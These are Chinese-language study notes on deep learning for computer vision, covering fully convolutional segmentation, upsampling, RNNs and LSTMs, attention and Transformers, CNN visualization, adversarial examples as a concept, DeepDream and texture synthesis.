Convolutional Neural Network¶
全卷积网络(Fully Convolutional Network, FCN)是一种端到端的语义分割方法,它可以一次性对整张图片进行像素级的分类预测。
网络结构:
-
输入层:
- 输入是一张 3×H×W 的图片(3个颜色通道,高度H,宽度W)
-
卷积层:
- 包含多个连续的卷积层
- 每层输出特征图大小为 D×H×W(D是特征通道数)
-
输出层:
- 最后通过argmax得到每个像素的类别预测
- 输出大小为 H×W,每个位置的值表示对应像素的类别
工作原理:
- 网络完全由卷积层组成,没有全连接层
- 保持空间信息,实现像素级的预测
- 对整张图片一次性进行预测,而不是逐像素滑动窗口
- 最终输出与输入图像具有相同的空间尺寸
损失函数:
- 使用逐像素的交叉熵损失(Per-Pixel cross-entropy)
- 每个像素位置都有一个分类任务
- 将所有像素位置的损失加总得到总体损失
这种方法相比传统的滑动窗口方法更加高效,因为它可以一次性对整张图片进行预测,而不需要重复计算重叠区域。同时,由于网络是全卷积的,它可以自然地保持图像的空间信息,这对于语义分割任务来说是非常重要的。
但是也有缺点:
1. 感受野问题:
- 有效感受野的大小与卷积层数呈线性关系
- 使用L个3×3的卷积层,感受野大小为1+2L
- 需要很多层才能获得较大的感受野,从而捕获更大范围的上下文信息
2. 高分辨率图像的计算开销:
- 对高分辨率图像进行卷积运算的计算成本很高
- ResNet等网络通常会积极地进行下采样以减少计算量
- 但这可能导致空间细节信息的丢失
Downsampling and Upsampling¶
为了解决上述问题,我们可以使用下采样(Downsampling)和上采样(Upsampling)来解决:
网络结构设计:
下采样阶段:
- 输入:3×H×W的原始图像
- 通过池化或步长卷积进行下采样
- 逐步减小特征图的空间尺寸:
- High-res: \(D_1×H/2×W/2\)
- Med-res: \(D_2×H/4×W/4\)
- Low-res: \(D_3×H/4×W/4\)
上采样阶段:
- 从低分辨率特征图开始
- 通过上采样操作逐步恢复空间分辨率
- 最终输出H×W大小的预测图
优势:
- 下采样减少了特征图的空间维度,显著降低计算量
- 在较低分辨率下进行主要的特征处理
- 下采样使得网络能够用较少的层数获得更大的感受野
- 有助于捕获更大范围的上下文信息
- 网络同时具有高分辨率的细节信息和低分辨率的语义信息
- 通过上采样过程将不同尺度的信息进行融合
下采样可以通过池化层或步长卷积来实现
上采样主要有两种方法
Unpooling¶
Bed of Nails方法,将周围值设置为0即可;
Nearest Neighbor方法,将周围值设置为最近的一个值;
Bilinear Interpolation¶
- 对于输出特征图中的每个位置(x,y)
- 找到输入特征图中最近的四个点
- 基于相对距离计算权重
- 使用这些权重对四个点的值进行加权平均
相比Bed of Nails和Nearest Neighbor方法,双线性插值能够产生更平滑的上采样结果,这对于语义分割等需要精细空间信息的任务特别重要。
Bicubic Interpolation¶
双三次插值是一种更高级的插值方法,它使用x和y方向上最近的三个邻居来构建三次近似。这是图像处理中最常用的调整大小方法。
- 在x和y方向上分别使用三个最近的邻居点
- 构建三次多项式函数进行插值
- 考虑更大范围的像素信息来生成新值
这种方法虽然计算量较大,但在图像处理和计算机视觉任务中经常被使用,因为它能够提供更高质量的插值结果。
Max Unpooling¶
Max Unpooling是一种特殊的上采样方法,它与Max Pooling(最大池化)操作相对应。这种方法的特点是需要在下采样时记住最大值的位置,然后在上采样时将值放回原来的位置。
Max Pooling阶段:
- 对输入特征图进行最大池化操作
- 记录每个池化窗口中最大值的位置(switch variables)
- 如图所示,4×4的输入经过池化后变为2×2
- 同时保存了最大值的具体位置信息
Max Unpooling阶段:
- 使用保存的位置信息(switch variables)
- 将池化后的值放回原来的位置
- 其他位置填充为0
- 如图所示,2×2的特征图被还原为4×4
输入特征图中值5被选为最大值,位置信息被记录,在反池化时,值5被放回原来的确切位置,未被选为最大值的位置填充为0,这样保证了重要特征的精确位置信息不会丢失
这样的方法,保留了精确的空间位置信息,特征的定位更加准确,适合需要精确重建的任务,与最大池化层自然配对
Transposed Convolution¶
转置卷积(Transposed Convolution),也称为反卷积(Deconvolution),是一种用于上采样的卷积操作。
其基本过程如下:
例如,输入是2×2的特征图,卷积核是3×3,步幅为2,填充为0,输出是4×4的特征图。
将输入特征图对应位置的值与卷积核相乘,得到一个3×3的特征图,然后将其中心点作为输出图的第一个位置,然后依次进行,每次前进的步幅为2,对于重叠的部分,取相加;
Example
首先,将a与卷积核相乘,得到第一部分,将b与卷积核相乘,得到第二部分,两部分放到对应的位置上,然后重叠的部分进行相加;
Transposed Convolution
为什么叫做转置卷积呢?
我们可以将卷积操作表示为矩阵乘法:
-
普通卷积:
-
可以表示为 \(\vec{x} * \vec{a} = X\vec{a}\)
- a是输入,X是卷积核
-
例如,当步长为1时:
-
转置卷积:
-
表示为 \(\vec{x} *^T \vec{a} = X^T\vec{a}\)
- 使用了原卷积矩阵的转置
- 当步长为1时,就是普通卷积(但padding规则不同) 例如上面的转置卷积为 当步长大于1时,就不能使用普通的卷积来表示它了
Things and stuff¶
- Things: 物体,有明确的边界,例如人、车、动物等
- Stuff: 背景,没有明确的边界,例如天空、草地、墙壁等
在object detection中,我们通常需要区分things和stuff,但是只会把box给到things而不是stuff;
在semantic segmentation中,我们通常需要区分things和stuff,同时关注这两个部分;
Instance Segmentation¶
实例分割(Instance Segmentation)是图像分割的一种形式,旨在将图像中的每个像素分类为不同的语义类别,如物体、背景等。
Mask R-CNN¶
Mask R-CNN是在Faster R-CNN的基础上扩展出来的实例分割模型,它不仅可以检测出物体的位置和类别,还能生成每个物体的像素级掩码(mask)。
即在最后会输出:
- 分类分支:预测物体类别(Classification Scores: C)
- 边界框分支:预测边界框坐标(Box coordinates per class: 4×C)
- 掩码分支:为每个类别预测二值掩码(Mask Prediction: C×28×28)
其工作流程如下
即再输出了box和class之后,还会输出mask,共有C个通道,每个通道对应一个物体的mask,每个mask的大小为H×W,即与原图的大小相同;即在某个像素中,如果属于物体A的通道的值比较高,那么这个像素被归于物体A;
Recurrent Neural Networks¶
约 2068 个字 3 行代码 19 张图片 预计阅读时间 7 分钟
Recurrent Neural Networks (RNNs) 循环神经网络是一种特殊的神经网络,它能够处理序列数据。对于一般的前馈神经网络,输入和输出是one-to-one的关系,而对于RNNs,输入和输出可以是one-to-many, many-to-one, many-to-many的关系。
Structure of RNNs¶
Key idea: RNNs have an “internal state” that is updated as a sequence is processed
其中,\(h_t\) 是RNN的下一时刻的隐藏状态,\(x_t\) 是输入,\(f_W\)是激活函数。例如tanh函数。当然一般也会包含偏置项\(b_h\)。
例如
Computation Graph¶
对于多对多的情况,例如语言预测模型,每一个输出都依赖当前的输入和前一个隐藏状态。得到输出之后,再计算损失,最后每个输出的损失结合在一起,得到总的损失。
对于多对一的情况(例如情感分析,输入一个句子,输出一个情感标签。)输出只在最后一个阶段产生。
对于一对多的情况(例如图像描述,输入是一张图片,输出是描述这个图片的句子。)输入只在第一个阶段,每一个输出依赖于前一个隐藏状态。
对于序列到序列的情况(例如机器翻译,输入是一个句子,输出是另一个句子。)会分为两个部分,一个编码器,一个解码器。
编码器是一个many-to-one的RNN,解码器是一个one-to-many的RNN。
编码器的输出作为解码器的隐藏状态的初始值。
Warning
每一个RNN内部的\(W_{hh}\)和\(W_{xh}\)是共享的。
Language Modeling
Given characters 1, 2, …, t-1, model predicts character t;
例如现在字典有[h,e,l,o],使用字符串"Hello"训练一个语言模型来预测下一个字符;
- 给输入'h',将输出与'e'比较,计算损失,然后更新参数。
- 给输入'he',将输出与'l'比较,计算损失,然后更新参数。
- 给输入'hel',将输出与'l'比较,计算损失,然后更新参数。
- 给输入'hell',将输出与'o'比较,计算损失,然后更新参数。
- 给输入'hello',将输出与'e'比较,计算损失,然后更新参数。
每个输入都可以用one-hot编码来表示。
所以其与矩阵相乘实际上选中的是矩阵的对应的那一列。
当一个独热向量与权重矩阵相乘时,它实际上是从矩阵中提取一列。 当字典很大时,one-hot编码的维度会很高,所以需要使用嵌入层(Embedding Layer)来将类别数据(如单词或标记)转换为密集的向量表示。
嵌入层(Embedding Layer)是一种神经网络层,用于将类别数据(如单词或标记)转换为密集的向量表示。这在自然语言处理(NLP)任务中尤为重要,因为需要以一种能够捕捉语义意义的方式来表示单词。通过直接将索引映射到向量来优化这一过程,从而提高计算效率。
Backpropagation through time¶
在标准的反向传播中,梯度是通过网络的每一层从输出层向输入层传播的。然而,在RNN中,隐藏层的状态不仅依赖于当前的输入,还依赖于前一个时间步的隐藏状态。因此,BPTT需要在时间维度上展开RNN,并计算每个时间步的梯度。
具体来说,BPTT的步骤如下:
- 展开RNN:将RNN在时间维度上展开,形成一个包含多个时间步的前馈神经网络。
- 前向传播:通过展开的网络进行前向传播,计算每个时间步的输出和隐藏状态。
- 计算损失:根据实际输出和预测输出计算损失。
- 反向传播:从最后一个时间步开始,逐步向前计算每个时间步的梯度。梯度不仅在时间步之间传播,还在网络层之间传播。
- 更新参数:使用计算得到的梯度更新网络的参数。
需要注意的是,由于RNN的展开长度可能非常长,BPTT的计算开销较大。此外,长时间步的反向传播可能导致梯度消失或梯度爆炸问题。为了解决这些问题,可以使用截断的BPTT(Truncated BPTT),即只在固定的时间步数内进行反向传播。
Takes a lot of memory for long sequences
Carry hidden states forward in time forever, but only backpropagate for some smaller number of steps
在语言预测模型中,对于RNN中隐藏单元的解释是,它表示了在当前时间步的上下文,以及其主要关注的单词,换句话说,它正在对当前文本进行着色,并指出它正在关注哪些单词。
image captioning
首先使用已经训练好的image net模型提取图片特征,然后使用RNN生成描述图片的句子。
在这个过程中
-
向量 \( v \) 代表从图像中提取的特征向量。这个特征向量通过卷积神经网络(CNN)从输入图像中提取,并用于初始化或影响循环神经网络(RNN)的隐藏状态,以帮助生成与图像相关的文本描述。
-
向量 \( h_{t-1} \) 代表前一个时间步的隐藏状态。
-
向量 \( x_t \) 代表当前时间步的输入。
-
向量 \( b_h \) 代表偏置项。
long short term memory (LSTM)¶
Vanilla RNN Gradient¶
在对\(h_t\)进行反向传播时,每一次都会乘以一个\(W_{hh}\)
- 如果\(W_{hh}\)的值小于1,那么随着反向传播的进行,\(h_t\)的值会趋近于0,会发生Vanishing gradients
- 如果\(W_{hh}\)的值大于1,那么随着反向传播的进行,\(h_t\)的值会趋近于无穷大,会发生Exploding gradients
对于梯度爆炸,可以采取截断梯度(Gradient Clipping)的方法来解决。
对于梯度消失,就需要使用LSTM来解决。
LSTM¶
LSTM是一种特殊的RNN,它能够更好地处理长期依赖关系。LSTM通过引入一个记忆单元来解决RNN的梯度消失问题。
Definition
- \(i_t\) is the input gate: whether to write to cell
- \(f_t\) is the forget gate: whether to keep the cell content
- \(o_t\) is the output gate: how much to reveal cell
- \(g_t\) is the candidate cell content,or the Gate gate: how much to write to cell
首先执行\((4h \times 2h)\times (2h \times 1)\)的映射,然后对应应用sigmoid或者tanh函数,得到四个门,再与\(c_{t-1}\)和\(g_t\)相乘加上\(i_t\)乘\(g_t\),得到\(c_t\),最后通过\(o_t\)和\(\tanh(c_t)\)得到\(h_t\)。
有了cell state,在反向传播的过程中由于只有加法,就不会出现信息的流失。可以解决梯度消失的问题。
这与ResNet的残差连接类似,可以解决梯度消失的问题。
Motilayer RNN¶
在多层RNN中,每一层的输入是前一层的输出,每一层的输出是下一层的输入。
即
对于LSTM,
Attention¶
约 2291 个字 15 张图片 预计阅读时间 8 分钟
Attention is all you need!
Introduction¶
在Seq2Seq模型中,编码器将输入序列编码为固定长度的上下文向量,然后解码器使用该上下文向量生成输出序列。然而,这种方法在处理长序列时存在问题,因为编码器需要将整个序列编码为单个向量,这会导致信息丢失。
如果说输入序列很长,那么将其编码为单个向量会不可避免地丢失信息。所以需要引入一种注意力机制,使得解码器在生成每个输出时,能够关注输入序列的不同部分。
人眼的注意力机制
人眼在看一个物体时,会有一个focus,对于某个部分会看得更清楚,而其他部分则看得比较模糊。
Attention¶
例如,一开始,将\(s_0\)和每个\(h_i\)进行运算,得到\(e_{1i}\),然后进行softmax运算,得到\(\alpha_{1i}\),然后根据\(\alpha_{1i}\)和对应的\(h_i\)求数学期望,得到最后的\(c_1\)。
即
得到\(c_t\)后,再和\(y_t\)进行运算,得到下一阶段的\(s_{t+1}\)。然后再重复上述过程,直到生成结束符。
Attention
例如将英语翻译成法语的过程,每一个法语单词对英语的每个单词的注意力都不一样(在这里越亮代表注意力越大)
生成图像字幕时,每一个单词对图像的每个区域的关注度也不一样(在这里越亮代表注意力越大)
image Captioning with RNN and attention¶
图像首先通过CNN处理,生成特征网格(如图中蓝色矩阵所示)。每个特征向量 \( h_{i,j} \) 代表图像不同区域的信息。
使用注意力函数 \( f_{att}(s_{t-1}, h_{i,j}) \) 计算对齐分数 \( e_{t,i,j} \),表示解码器在时间步 \( t \) 时对图像特征 \( h_{i,j} \) 的关注程度。
对对齐分数进行 softmax 运算,得到注意力权重 \( \alpha_{t,i,j} \),用于衡量每个特征在生成当前输出时的重要性。
通过加权求和计算上下文向量 \( c_t = \sum_{i,j} \alpha_{t,i,j} h_{i,j} \),整合了图像中不同区域的信息。
解码器从起始状态 \( s_0 \) 开始,结合上下文向量 \( c_t \) 和前一个输出 \( y_{t-1} \) 生成下一个状态 \( s_t \) 和输出 \( y_t \)。
这个过程持续进行,直到生成结束符。
Attention layer¶
single Query Vector¶
输入:
- Query Vector: \(q\) shape: \(D_q\),例如\(s_t\)
- Input Vector: \(X\) shape: \(N_X \times D_q\),例如\(h\)
- similarity function: scaled dot-product
计算
Computation:
- Similarities: \( e \) (Shape: \( N_X \)) where \( e_i = q \cdot x_i / \sqrt{D_Q} \)
- Attention weights: \( a = \text{softmax}(e) \) (Shape: \( N_X \))
- Output vector: \( y = \sum_i a_i x_i \) (Shape: \( D_q \))
Info
在注意力机制中,使用点积来计算相似度。如果向量的维度 \( D \) 很大,点积的值也会很大。这会导致 softmax 的输出趋于极端值,从而影响梯度的有效传播。 解决方法:为了缓解这个问题,通常会对点积进行缩放(例如,除以 \( D \) ),以防止相似度值过大。这就是“缩放点积注意力”的由来。
Multi Query Vector¶
输入:
- Query Vectors: \(Q\) shape: \(N_q \times D_q\)
- Input Vectors: \(X\) shape: \(N_X \times D_q\)
- similarity function: scaled dot-product
输出
-
Similarities: \( E \) (Shape: \( N_q \times N_X \)) where \( e_{i,j} = q_i \cdot x_j / \sqrt{D_Q} \),即\(E=QX^T/\sqrt{D_Q}\)
-
Attention weights: \( A \) (Shape: \( N_q \times N_X \)) where \( a_{i,j} = \text{softmax}(e_{i,j},dim=1) \)
-
Output vectors: \( Y \) (Shape: \( N_q \times D_q \)) where \( y_i = \sum_j a_{i,j} x_j \),即\(Y=AX\)
Key & Value matrix¶
Inputs:
- Query vectors: \( \mathbf{Q} \) (Shape: \( N_q \times D_q \))
- Input vectors: \( \mathbf{X} \) (Shape: \( N_x \times D_x \))
- Key matrix: \( \mathbf{W}_K \) (Shape: \( D_x \times D_q \))
- Value matrix: \( \mathbf{W}_V \) (Shape: \( D_x \times D_v \))
Computation:
- Key vectors: \( \mathbf{K} = \mathbf{X} \mathbf{W}_K \) (Shape: \( N_x \times D_q \))
- Value Vectors: \( \mathbf{V} = \mathbf{X} \mathbf{W}_V \) (Shape: \( N_x \times D_v \))
- Similarities: \( \mathbf{E} = \mathbf{Q} \mathbf{K}^T / \sqrt{D_q} \) (Shape: \( N_q \times N_x \)), \( E_{i,j} = (\mathbf{Q}_i \cdot \mathbf{K}_j) / \sqrt{D_q} \)
- Attention weights: \( \mathbf{A} = \text{softmax}(\mathbf{E}, \text{dim}=1) \) (Shape: \( N_q \times N_x \))
- Output vectors: \( \mathbf{Y} = \mathbf{A} \mathbf{V} \) (Shape: \( N_q \times D_v \)), \( Y_i = \sum_j A_{i,j} \mathbf{V}_j \)
将值向量和键向量分开来,分别通过不同的矩阵进行变换,可以得到更好的效果。
得到对应的E矩阵后,按列进行softmax归一化,得到A矩阵。
最后将A矩阵的列和对应的V矩阵点积运算,得到Y矩阵。
Self-attention¶
Inputs:
- Input vectors: \( \mathbf{X} \) (Shape: \( N_x \times D_x \))
- Key matrix: \( \mathbf{W}_K \) (Shape: \( D_x \times D_q \))
- Value matrix: \( \mathbf{W}_V \) (Shape: \( D_x \times D_v \))
- Query matrix: \( \mathbf{W}_Q \) (Shape: \( D_x \times D_q \))
Computation:
- Query vectors: \( \mathbf{Q} = \mathbf{X} \mathbf{W}_Q \) (Shape: \( N_x \times D_q \))
- Key vectors: \( \mathbf{K} = \mathbf{X} \mathbf{W}_K \) (Shape: \( N_x \times D_q \))
- Value Vectors: \( \mathbf{V} = \mathbf{X} \mathbf{W}_V \) (Shape: \( N_x \times D_v \))
- Similarities: \( \mathbf{E} = \mathbf{Q} \mathbf{K}^T / \sqrt{D_q} \) (Shape: \( N_x \times N_x \)), \( E_{i,j} = (\mathbf{Q}_i \cdot \mathbf{K}_j) / \sqrt{D_q} \)
- Attention weights: \( \mathbf{A} = \text{softmax}(\mathbf{E}, \text{dim}=1) \) (Shape: \( N_x \times N_x \))
- Output vectors: \( \mathbf{Y} = \mathbf{A} \mathbf{V} \) (Shape: \( N_x \times D_v \)), \( Y_i = \sum_j A_{i,j} \mathbf{V}_j \)
查询向量,键向量,值向量都是由输入向量通过不同的矩阵变换得到的。
permutation invariant
自注意力机制是排列不变的,即输入序列的顺序不会影响输出结果。只会影响计算的顺序。
即
-
自注意力机制本身不“知道”它处理的向量的顺序。这意味着它对输入序列的排列不敏感。
-
为了使模型能够感知输入序列中元素的顺序,可以将位置编码与输入向量连接或相加。位置编码为每个输入位置提供唯一的表示,使模型能够区分不同位置的元素。
通过添加位置编码,模型可以在处理输入时考虑元素的顺序。这对于自然语言处理等任务非常重要,因为词语的顺序会影响句子的意义。
Masked Self-attention¶
在自注意力机制中,Masked Self-Attention Layer 是一种特殊的自注意力层
在生成任务中,模型在预测下一个词时不应该看到未来的词。Masked Self-Attention 通过遮掩(masking)未来的词来实现这一点。
在计算注意力权重时,使用遮掩矩阵将未来的词的相似度设置为负无穷大。这确保了 softmax 输出的注意力权重为零,从而忽略未来的信息。
通过这种方式,Masked Self-Attention Layer 能够在不泄露未来信息的情况下进行序列生成。
Multi-head Self-attention¶
将输入向量分成多个子空间,每个子空间称为一个“头”。每个头独立执行自注意力计算,捕获不同的特征和关系。
步骤:
-
将输入向量 \( \mathbf{X} \) 分割成多个部分,每个部分对应一个注意力头。
-
每个头独立计算自注意力,包括生成查询、键和值向量,计算相似度,应用 softmax,生成输出。
-
将所有头的输出连接(concat)在一起。
-
对连接后的输出进行线性投影,生成最终的输出。
-
多头机制允许模型在不同的子空间中关注不同的特征,增强了模型的表达能力。
-
通过并行计算提高了效率。
Example
最后通过 1×1 卷积将加权求和的结果转换回原始通道数 \(C\)。
Transformer¶
包括自注意力机制、前馈神经网络和层归一化。
-
输入向量 \( x_1, x_2, x_3, x_4 \) 是经过嵌入处理的输入数据。
-
计算输入向量之间的相似度,生成注意力权重。
-
使用注意力权重对输入进行加权求和,捕获全局依赖关系。
-
自注意力的输出与输入相加(残差连接),然后进行层归一化,稳定训练过程。
前馈神经网络(MLP):
- 每个位置的向量通过一个小型的前馈神经网络(通常包含两个线性变换和一个激活函数,如 ReLU)。
- 这种结构增强了模型的非线性表达能力。
第二个残差连接和层归一化: - 前馈网络的输出与自注意力层的输出相加,再进行层归一化。
输出: - 最终输出 \( y_1, y_2, y_3, y_4 \) 是经过自注意力和前馈网络处理后的结果。
Pre-norm Transformer¶
上面的结构称为Post-norm Transformer,其在残差连接之后进行层归一化。在深层网络中可能导致训练不稳定。
Pre-norm Transformer 在残差连接之前进行层归一化。更稳定,适合更深的网络。
Visualizing and Generating¶
约 4749 个字 19 张图片 预计阅读时间 16 分钟
Visualizing and Understanding Convolutional Networks¶
卷积神经网络的第一层的filters主要学习的是边缘特征
因为第一层filters的通道数和输入的通道数相同,所以可以将其可视化。为各种边边角角的组合。
但是越往后,filters的通道数就比较奇怪,例如20x16x7x7,将其作为RGB图像可视化没有什么意义,可以将其看作是20组,每组16个7x7的特征灰度图。但是即使这样,看起来也并不像任何东西。
由于最后一层在全连接层之前是一个大向量,例如4096维;可以将各种图像应用在训练好的网络中,根据这个大的特征向量使用nearest neighbor的方法找到最相似的向量,然后将它们的图像匹配在一起;
与linear classifier使用像素不同,在这个特征向量上使用最近邻的结果表现得非常好,这说明神经网络通过学习,消除了图像本身的一些特征,例如光照,位置,角度等,提取出了更高层次的特征;
还可以通过Dimension Reduction的方法将4096维的特征向量降维到2维的点,然后将对应的点替换为图像,就可以得到图像在空间上的分布;
可以看到相似的图像都紧凑地聚集在一起,而不同的图像则分散在各个角落。
Visualizing the activations¶
还可以通过中间层的特征来可视化图像
例如conv5是128x13x13的,可以将其看作是128个13x13的特征图,可以将其可视化,在下面这个例子中,其中一个特征图可视化后非常像人脸,说明这个特征图学习到了人脸的特征。
Maximally Activating Patches¶
最大激活补丁(Maximally Activating Patches)是指在卷积神经网络中,选择一个特定的层和通道,然后输入大量图像,记录该通道的激活值,最后可视化那些产生最大激活值的图像补丁。
工作流程如下:
- 选择网络中的一个特定层和通道,例如conv5层(尺寸为128×13×13),可以选择其中的第17个通道
- 将大量图像输入网络,记录所选通道的激活值
- 可视化那些产生最大激活值的图像补丁
这种可视化方法揭示了卷积神经网络中不同通道学习识别的具体视觉特征。通过查看最大激活补丁,我们可以理解每个通道在"寻找"什么样的图像特征,从而解释网络如何进行特征提取。这表明神经网络的不同部分专门负责检测图像中的不同语义元素,进一步证实了深度学习模型具有层次化特征学习能力。
Saliency Via Occlusion¶
遮挡显著性(Saliency via Occlusion)是一种确定图像中哪些区域对CNN预测最重要的方法。其基本思想是通过系统地遮挡图像的不同部分,然后观察模型预测概率的变化,来判断哪些区域对分类结果影响最大。
工作流程如下:
- 使用滑动窗口方法,用灰色方块(或其他颜色)系统地遮挡输入图像的不同区域
- 每次遮挡后,将修改后的图像输入CNN,记录预测概率的变化
- 生成热力图,显示遮挡每个区域后导致的预测概率下降程度
如上图所示,右侧的热力图显示了对每个类别(帆船、非洲象、卡丁车)的预测贡献最大的区域。热力图中的亮色区域表示该区域被遮挡后会导致预测概率大幅下降,说明这些区域对模型的决策至关重要。
这种方法直观地展示了CNN在做决策时"关注"图像的哪些部分,有助于我们理解模型的工作原理并验证其是否真正学习到了有意义的特征,而不是依赖于图像中的无关背景或伪相关。
Saliency via Backpropagation¶
反向传播显著性(Saliency via Backpropagation)是一种通过反向传播梯度来确定图像中哪些区域对CNN预测结果影响最大的方法。
具体实现步骤:
- 将图像输入网络,进行前向传播,得到类别预测分数
- 计算特定类别(如"狗")的未归一化分数相对于输入图像像素的梯度
- 取梯度的绝对值,并在RGB通道上取最大值
- 生成可视化热力图,显示哪些像素对预测结果贡献最大
这种方法的优势在于计算效率高,只需一次反向传播即可获得显著性图,而且能直接揭示网络关注的图像区域。与遮挡方法相比,它不需要进行多次前向传播,因此速度更快。
通过这种可视化技术,我们可以验证CNN是否真正关注目标对象的相关特征,而非背景或无关元素,有助于解释模型决策过程并检测潜在的偏见或过拟合问题。
Intermediate Features via Guided Backpropagation¶
引导反向传播(Guided Backpropagation)是对标准反向传播方法的一种改进,用于更好地可视化CNN中间层神经元所关注的图像区域。
工作流程如下:
- 选择网络中特定的一个中间神经元(例如conv5层128×13×13特征图中的一个值)
- 计算该神经元的激活值相对于输入图像像素的梯度
- 但与标准反向传播不同,引导反向传播在反向传递中对ReLU激活函数进行特殊处理
引导反向传播的特点:
- 在反向传播过程中,仅允许正梯度通过ReLU层("引导"过程)
- 这意味着在ReLU层,同时考虑前向传播和反向传播的限制:
- 前向传播时,只有正值会被传递(ReLU的标准行为)
-
反向传播时,只有正梯度会被传递(引导部分)
-
结果产生更清晰的可视化,更好地展示了神经元响应的图像区域
这种方法相比普通反向传播可以生成更加锐利和聚焦的可视化结果,使我们能够更清楚地了解CNN中特定神经元对应的图像特征。从右侧的比较可以看出,引导反向传播的结果更加清晰,噪声更少。
这项技术最早由Springenberg等人在2015年的ICLR研讨会论文"Striving for Simplicity: The All Convolutional Net"中提出,它为理解CNN内部表示提供了重要工具。
Class Activation Mapping¶
类激活映射(Class Activation Mapping)是一种用于可视化卷积神经网络中特定类别的激活区域的方法。
首先,对CNN提取出的图像(H,W,K)特征进行全局平均池化(K,),得到一个特征向量,然后通过全连接层得到一个类别得分(C,)。
由于平均池化:
将其带入每个类别的得分中:
这样就得到了CAM的公式:
即,对于类别c,其在位置(h,w)的激活值是权重矩阵中第c列和特征图f按k通道进行内积的结果。
这种方式可以直观展示图像中对分类决策起关键作用的区域。
但缺点是只能在最后的全连接层进行,如果想要在中间层进行,需要使用Grad-CAM。
Generating Images¶
Gardient Ascent¶
在之前,图像是固定的,我们通过反向传播来查看哪些像素的变化对于某个中间神经元的影响最大,来查看中间层通道在学习什么特征;
现在,我们可以从零开始,聚焦在中间层某一个神经元的值,不断通过梯度上升,来生成使得神经元激活值最大的图像。
总的来说,是重复执行以下步骤:
- 前向传播,计算当前得分
- 反向传播,计算得分对于像素的梯度
- 更新图像,使得得分上升
目标是
需要添加正则项,防止其生成得分很高但是没有意义的图像。
通过多面特征,可以生成更加多样化的图像。
Adversarial Attack¶
对抗样本(Adversarial Examples)是通过对输入数据进行微小但有目的的修改,以欺骗机器学习模型的技术
Start from arbitrary image¶
对抗样本的生成可以从任何图像出发,包括自然图像(如照片)或随机噪声。关键是通过后续步骤对图像进行修改,使其被模型错误分类。例如:
- 若原始图像是“猫”,攻击者可能希望模型将其误判为“狗”或其他类别。
- 起始图像的选择会影响生成对抗样本所需的扰动大小和复杂度。
Select a target class¶
攻击者需指定希望模型误判的类别(如“飞机”或“汽车”)。这一步决定了对抗样本的生成方向:
- 定向攻击(Targeted Attack):强制模型输出特定目标类别。
- 非定向攻击(Untargeted Attack):仅需让模型输出错误类别,不指定具体目标。
目标类别的选择会影响生成对抗样本的策略和扰动模式。
gradient ascent¶
这是生成对抗样本的核心步骤,具体流程如下:
-
计算梯度:利用反向传播,计算模型对输入图像的梯度。梯度表示“如何调整图像像素值才能最大程度提高目标类别的预测概率”。
-
梯度上升(Gradient Ascent):与训练模型的梯度下降相反,梯度上升沿着梯度方向更新图像,逐步增加目标类别的分数。
Stop condition¶
停止条件通常有两种:
- 置信度阈值:当目标类别的预测概率达到预设值(如99%)。
- 扰动限制:当添加的扰动(如L2范数)超过允许范围,确保扰动对人类不可见。
例如,当原始图像被修改后,模型以高置信度将其分类为“飞机”而非真实的“猫”,则认为攻击成功。
Key characteristics¶
- 微小扰动:人类难以察觉的微小修改即可欺骗模型。
- 可转移性:针对某模型生成的对抗样本,可能对其他模型也有效。
- 高维敏感性:模型在高维特征空间中对微小扰动高度敏感。
在自动驾驶、人脸识别等安全关键系统中,对抗样本可能导致严重错误。研究其生成与防御对提升AI系统的安全性和可靠性至关重要。
例如
通过微小的调整,就足以让其误判,但是人眼难以察觉。
White-Box Attack¶
白盒攻击(White-Box Attack)是指攻击者拥有目标模型的完整信息,包括模型结构、参数和训练数据。
Black-Box Attack¶
黑盒攻击(Black-Box Attack)是指攻击者没有目标模型的完整信息,只能通过模型预测结果进行攻击。
Feature Inversion¶
特征反转(Feature Inversion)是一种用于生成特定特征的图像的技术;
Feature Inversion(特征逆变换)是计算机视觉中一种用于 从神经网络的特征表示重建原始图像 的技术,通过逆向生成与特定特征匹配的图像,可以直观分析网络对输入数据的抽象表示能力。
- 目标:给定某层特征图(如CNN中间层的输出),生成一张新图像,使其通过网络前传后在该层的特征尽可能接近目标特征。
- 本质:通过优化输入图像,最小化生成图像与目标特征之间的差异,从而反推网络“认为”什么样的输入会激活该特征。
可以看到,越往后,特征越抽象,越难以理解。
其中,特征匹配的损失函数定义为:
通过最小化网络特征表示与目标特征之间的差异,同时加入正则化项以获得视觉上更合理的结果。
DeepDream¶
DeepDream是一种基于深度学习的图像生成技术,通过神经网络的中间层特征来生成具有艺术风格的图像。
即,比起生成图像,更像是特征的放大。
其流程是,首先,选择一张图像,然后选择一个想要放大特征的层
- Forward: 计算选定层的特征激活值
- Set gradient of chosen layer equal to its activation
- Backward: 计算梯度
- Update: 更新图像
通过将梯度设置为等于激活值,DeepDream算法实际上是在鼓励网络增强它已经检测到的特征。这是因为梯度通常指示如何改变输入以增加某个值,所以当梯度等于激活值时,这意味着我们希望增加已经存在的特征。
这一步创造了一个反馈循环,使得图像中的特定模式越来越明显。网络检测到某个特征,然后通过梯度下降(实际上是梯度上升,因为我们想要最大化激活)来增强该特征,然后在下一次迭代中,网络可能会检测到更强的同一特征,进一步增强它,依此类推。
普通的梯度上升通常是为了最大化某个特定类别的分数(如在对抗样本生成中)。而在DeepDream中,我们不关心特定类别,而是希望最大化选定层的整体激活,无论它们代表什么。通过将梯度设为激活值,我们实质上是说"给我更多已经存在的东西"。
此时不再关注它到底属于什么类别,只在乎增强已经存在的特征。
这会生成很魔幻的图像
Texture Synthesis¶
纹理合成(Texture Synthesis)是一种基于深度学习的图像生成技术,通过学习图像的纹理特征,生成具有相似纹理的图像。
Nearest Neighbor¶
生成顺序是扫描线顺序,也就是逐行逐个生成像素。对于每一个待生成的像素,查看其周围的已生成像素(可能是左方、上方以及左上方的像素,因为扫描线顺序下右边的和下方的像素还未生成),组成一个邻域。然后,在输入的样本纹理中寻找与该邻域最匹配的位置,然后将该位置对应的下一个像素复制到当前生成的位置。
Gram Matrix¶
Gram矩阵是用于描述图像纹理特征的矩阵。
Definition
给定一组向量 \( \{\mathbf{v}_1, \mathbf{v}_2, \dots, \mathbf{v}_n\} \),Gram Matrix \( G \) 是一个 \( n \times n \) 的矩阵,其中每个元素 \( G_{i,j} \) 是向量 \( \mathbf{v}_i \) 和 \( \mathbf{v}_j \) 的内积:
每一层的卷积神经网络(CNN)都会生成一个形状为 C x H x W 的特征张量;即 H x W 的网格,每个网格包含一个 C 维的向量
在这里,Gram Matrix 的维度是 CxC,每个位置就是对应通道特征图的内积;
